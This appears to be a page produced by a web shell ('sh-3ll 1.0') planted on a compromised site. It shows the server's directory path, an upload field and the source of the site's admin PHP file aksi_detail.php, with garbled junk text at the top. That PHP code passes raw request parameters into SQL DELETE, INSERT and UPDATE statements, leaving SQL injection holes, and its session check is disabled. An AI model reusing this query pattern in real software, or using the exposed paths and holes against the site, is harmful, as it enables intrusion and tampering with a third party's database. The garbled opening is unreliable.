fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/home/u1105814/www/mountanasikunir.com/admin/modul/mod_detail/
Upload File :
Current File : /home/u1105814/www/mountanasikunir.com/admin/modul/mod_detail/aksi_detail.php
<?php
//session_start();
include "../../config/koneksi.php";
define ('SITE_ROOT', realpath(dirname(__FILE__)));
$module=$_GET['module'];
$act=$_GET['act'];
// Hapus modul
if ($module=='detail' AND $act=='hapus'){
  mysqli_query($connect,"DELETE FROM detail WHERE id_detail='$_GET[id]'");
  header('location:../../pages.php?module='.$module.'&act=d');
}

// Input modul
elseif ($module=='detail' AND $act=='add'){
  $nama=$_POST['nama_villa'];
  $teks=$_POST['teks'];

 
if ($nama=="" || $teks==""){
  header('location:../../pages.php?false=1&module='.$module.'&act=d');
}
else {
  mysqli_query($connect,"INSERT INTO detail(id_produk,
                                teks) 
                         VALUES(
                                '$nama',
                                '$teks')");
  header('location:../../pages.php?module='.$module.'&act=d');
}
}

// Update modul
elseif ($module=='detail' AND $act=='edit'){
  $nama=$_POST['nama_villa'];
  $teks=$_POST['teks'];  
  $id=$_POST['id'];
if ($nama=="" || $teks==""){
  header('location:../../pages.php?false=1&module='.$module.'&act=d');
}
else{ 
  //echo "$nama,$teks,$id";
  mysqlI_query($connect,"UPDATE detail SET id_produk = '$nama',
                                teks      = '$teks'
                          WHERE id_detail   = '$id'");
  header('location:../../pages.php?module='.$module.'&act=d');
}
}
?>